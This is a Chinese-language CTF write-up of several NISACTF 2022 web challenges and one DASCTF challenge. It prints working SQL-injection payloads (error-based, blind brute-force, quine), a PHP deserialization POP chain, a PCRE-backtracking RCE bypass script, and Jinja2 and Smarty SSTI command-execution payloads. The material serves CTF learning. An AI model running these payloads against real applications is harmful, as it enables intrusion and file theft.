目录
[NISACTF 2022]join-us
打开界面看见这种,格式一般都是利用管道符然后进行堆叠注入或者报错注入试一下
堆叠注入试了一下被过滤掉了,那就是报错注入喽
<?php
error_reporting(0);
session_start();
include_once "config.php";
global $MysqlLink;
$MysqlLink = mysqli_connect("127.0.0.1",$datauser,$datapass);
if(!$MysqlLink) {
die("Mysql Connect Error!");
}
$selectDB = mysqli_select_db($MysqlLink,$dataName);
if(!$selectDB) {
die("Choose Database Error!");
}
if(isset($_POST['tt'])) {
$txw4ever = $_POST['tt'];
$blacklist = "union|left|right|and|or|by|if|\&|sleep|floor|substr|ascii|=|\"|benchmark|as|column|insert|update";
if(preg_match("/{$blacklist}/is",$txw4ever)) {
die("不要耍小心思喔~");
}
$sql = "select*from Fal_flag where id = '$txw4ever';";
$result = mysqli_query($MysqlLink,$sql);
if($result) {
$row = mysqli_fetch_array($result);
echo "message: ";
print_r($row['data']);
} else {
echo mysqli_error($MysqlLink);
}
} else {
die("?");
}
?>
-
or被过滤用 ||代替
-
= 被过滤用like代替
-
database里面的as被过滤,通过查询一个不存在的表,通过报错获得表名
-1' || (select * from aa)#
-
column被过滤,用无列名注入
-
输出长度限制,mid函数,substr函数t
-
因为as被过滤所以不能使用,database
-
因为aa是错误的表名,sqlsql就是正确的表名,通过报错
-
报表名
-
1' || extractvalue(1,concat(0x07, (select group_concat(table_name) from information_schema.tables where table_schema like 'sqlsql'), 0x07))#
-
flag表和output我就直接写正确的表output了
-
爆列名
-
然后要准备得到列名,可是column被过滤了需要想别的方法
-
1' || extractvalue(1,concat(0x07, (select * from(select * from output b join output c)a), 0x07))#
-
查询除了字段名data
-
using(字段名比如 data)就会查询除了data的后面一个的列名依次就可以得到有几列
-
1' || extractvalue(1,concat(0x07, (select * from(select * from output b join output c using(data))a), 0x07))#
-
可是这道题直接出了一半flag,说明就这一个字段
-
题目过滤了 substr,right,left只能用mid了
-
select group_concat(`1`) from (select 1 union select * from users)as a;
-
1' || extractvalue(1,concat(0x07, (select data from output), 0x07))#查找到了一半
-
1' || extractvalue(1,concat(0x07, (select mid(data,28) from output), 0x07))#
-
拼接获得flag
-
[NISACTF 2022]popchains
- 打开看是一道反序列化题
-
Happy New Year~ MAKE A WISH <?php echo 'Happy New Year~ MAKE A WISH<br>'; if(isset($_GET['wish'])){ @unserialize($_GET['wish']); } else{ $a=new Road_is_Long; highlight_file(__FILE__); } /***************************pop your 2022*****************************/ class Road_is_Long{ public $page; public $string; public function __construct($file='index.php'){ $this->page = $file; } public function __toString(){ return $this->string->page; } public function __wakeup(){ if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) { echo "You can Not Enter 2022"; $this->page = "index.php"; } } } class Try_Work_Hard{ protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Make_a_Change{ public $effort; public function __construct(){ $this->effort = array(); } public function __get($key){ $function = $this->effort; return $function(); } } /**********************Try to See flag.php*****************************/
老规矩找链尾,
-
class Try_Work_Hard{
protected $var;
public function append($value){
include($value);
} 感觉这个就是有文件包含漏洞,然后一步步往上推
public function __invoke(){
$this->append($this->var);
} 看见下面调用了append方法,然后处在invoke,谁调用了invoke一般是a();这样格式
public function __get($key){
$function = $this->effort;
return $function();
} 这调用了invoke,然后想谁调用了get
public function __toString(){
return $this->string->page;
}触发了get属性,然后看看谁触发string属性
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
} 看了半天就这一个输出,触发,wakeup反序列化自动触发,ok链表链接完成串一遍
Try to See flag.php 说明了 $value的值
感觉这道题,写过哈哈哈
<?php
class Road_is_Long{
public $page;
public $string;
public function fd(){
$this->string=new Make_a_Change();
}
public function __construct(){
$this->page=$this->fd;
}
}
class Try_Work_Hard{
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
public function append($value){
include($value);
}
public function __construct(){
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;
public function __construct($key){
$this->effort=new Try_Work_Hard();
}
}
$a=new Road_is_Long();
echo (serialize($a));
[NISACTF 2022]middlerce
<?php
include "check.php";
if (isset($_REQUEST['letter'])){
$txw4ever = $_REQUEST['letter'];
if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
die("再加把油喔");
}
else{
$command = json_decode($txw4ever,true)['cmd'];
checkdata($command);
@eval($command);
}
}
else{
highlight_file(__FILE__);
}
?>
打开界面,rce题目
json_encode:接受一个 JSON 格式的字符串并且把它转换为 PHP 变量,如果是true则返回array并非object
checkdata检测绕过,手段
/\^|\||\~|assert|print|include|require|\(|echo|flag|data|php|glob|sys|phpinfo|POST|GET|REQUEST|exec|pcntl|popen|proc|socket|link|passthru|file|posix|ftp|\_|disk|tcp|cat|tac/i
/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m .*有好几个,这里采用回溯绕过
知识点:PHP利用PCRE回溯次数限制绕过某些安全限制 - FreeBuf网络安全行业门户
主要就是回溯次数大于1000000会返回false进行绕过
-
系统命令执行用反引号 `,因为别的过滤掉了
-
eval里面用短标签 ?><?= phpinfo(); ?> 来绕过过滤echo,无法输出的情况
-
import requests
payload = '{"cmd":"?><?= `tail /f*`?>", "$":"'+"$"*(1000000) + '"}' $换成特殊符号也可以加号链接的作用
res = requests.post("http://1.14.71.254:28131/",data = {"letter":payload})
print(res.text)
上传$n次,绕过返回false,绕过checkdata,最后执行eval
[NISACTF 2022]hardsql
知识点:python盲注
quine注入CTFHub_2021-第五空间智能安全大赛-Web-yet_another_mysql_injection(quine注入) - zhengna - 博客园
根据提示,账号为 bilala密码是post自己传参获得试一下
import requests url='http://1.14.71.254:28279/login.php' dict = '0123456789qwertyuiopasdfghjklzxcvbnm-' flag='' for j in range(50): for i in dict: data={ "username":"bilala", "passwd":f"1'/**/or/**/passwd/**/like/**/'{flag+i}%'#" } res=requests.post(url,data=data) if "nothing found" not in res.text: flag=flag+i print(flag) break
爆破出了密码,登录就获取一个源码
<?php
//多加了亿点点过滤
include_once("config.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}
function checkSql($s) {
if(preg_match("/if|regexp|between|in|flag|=|>|<|and|\||right|left|insert|database|reverse|update|extractvalue|floor|join|substr|&|;|\\\$|char|\x0a|\x09|column|sleep|\ /i",$s)){
alertMes('waf here', 'index.php');
}
}
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['passwd']) && $_POST['passwd'] != '') {
$username=$_POST['username'];
$password=$_POST['passwd'];
if ($username !== 'bilala') {
alertMes('only bilala can login', 'index.php');
}
checkSql($password);
$sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";
$user_result=mysqli_query($MysqlLink,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes('nothing found','index.php');
}
if ($row['passwd'] === $password) {
if($password == 'b2f2d15b3ae082ca29697d8dcd420fd7'){
show_source(__FILE__);
die;
}
else{
die($FLAG);
}
} else {
alertMes("wrong password",'index.php');
}
}
?>
译
if ($row['passwd'] === $password) {
if($password == 'b2f2d15b3ae082ca29697d8dcd420fd7'){
show_source(__FILE__);
die;
}
else{
die($FLAG);
}
} else {
alertMes("wrong password",'index.php');
}
重点在这伊利,数据库中的passwd和输入的password一样,然后 passwordb2f2d15b3ae082ca29697d8dcd420fd7'不等于才可以 die flag
这里拿到flag的条件就是密码不为b2f2d15b3ae082ca29697d8dcd420fd7
且能登陆成功
题中还过滤了char,用chr或者直接0x代替即可。
0x、char、chr三个等价
0x22, 双引号 char (34) ==
0x27 单引号 char (39)
相信有人纳闷,这道题为什么是%而不是. 因为 0x25是%的16进制改为
0x2e . 也是可以的
username=bilala&passwd='/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#',0x22,0x27),0x25,'"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#')#&login=%E7%99%BB%E5%BD%95
基本形式
例子: 1'/**/union/**/select/**/replace(replace('',char(34),char(39)),char(46),'')# 可理解成我们的Quine的基本形式 1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")# 这个就是我们str的基本形式 先将str里的双引号替换成单引号 1'/**/union/**/select/**/replace(replace('.',char(34),char(39)),char(46),'.')# 最终通过来回替换的形式达到了我们的目的最后:合并起来替换str
1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#
[NISACTF 2022]is secret
今天下午刚看了看ssti 模板注入,知识点然后准备做题巩固一下
打开界面源码,啥都没有,看界面上 欢迎查找secret,看一下这个目录
感觉像是一个 get传参,
发现这行特殊的点开后由源码的,
rc4是一个加密手段,
import base64
from urllib import parse
def rc4_main(key = "init_key", message = "init_message"):#返回加密后得内容
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt
def rc4_init_sbox(key):
s_box = list(range(256))
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
return s_box
def rc4_excrypt(plain, box):
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
cipher = "".join(res)
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
key = "HereIsTreasure" #此处为密文
message = input("请输入明文:\n")
enc_base64 = rc4_main( key , message )
enc_init = str(base64.b64decode(enc_base64),'utf-8')
enc_url = parse.quote(enc_init)
print("rc4加密后的url编码:"+enc_url)
#print("rc4加密后的base64编码"+enc_base64)
折叠
找来大佬的脚本,
扫目录调用ls
{% for c in [].__class__.__base__.__subclasses__() %} 获得子类
{% if c.__name__=='catch_warnings' %} 为了获得eval的位置
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}
{% endif %}
{% endfor %}
输入到secret=出现flag.txt
把执行命令改为 cat /flag.txt获得flag
[NISACTF 2022]midlevel
打开界面,发现最下面显示,用smarty模板注入
相关知识:Smarty SSTI_合天网安实验室的博客-CSDN博客
打开整道题都是说明的ip右上角也有ip,用到 x-forwarded-for试一下有没有模板注入
发生了改变4通过,smart模板的标签{if}
{if phpinfo()}{/if} // {/if} 相当于endif一个结束标记
{$smarty.version}来查看版本号,根据版本号选择相应的标签命令
php5可以使用
<script language="php">phpinfo();</script>
但这道题php是php7,配置环境可以看见,
然后命令执行,查看目录--》获取flag
{if system('cat /flag')}{/if} 结束
DASCTF2022.07赋能赛
Ez to getflag
对于别人可能是签到提,的难度可是对我...
打开界面原本以为就是一道文件上传的题目
然后上传发现过滤了后缀,php,php5,html和flag,用\绕过fl\ag,图片码上传成功
可是建议链接为空,呃呃呃。
最后才得知,search既然有图片查看的功能,说明就有查询的功能
我为何不直接查取flag呢,返回为空
Linux中,flag在根目录,/flag
做完学的蛮多的,认识了好多漏洞,以后慢慢看巩固巩固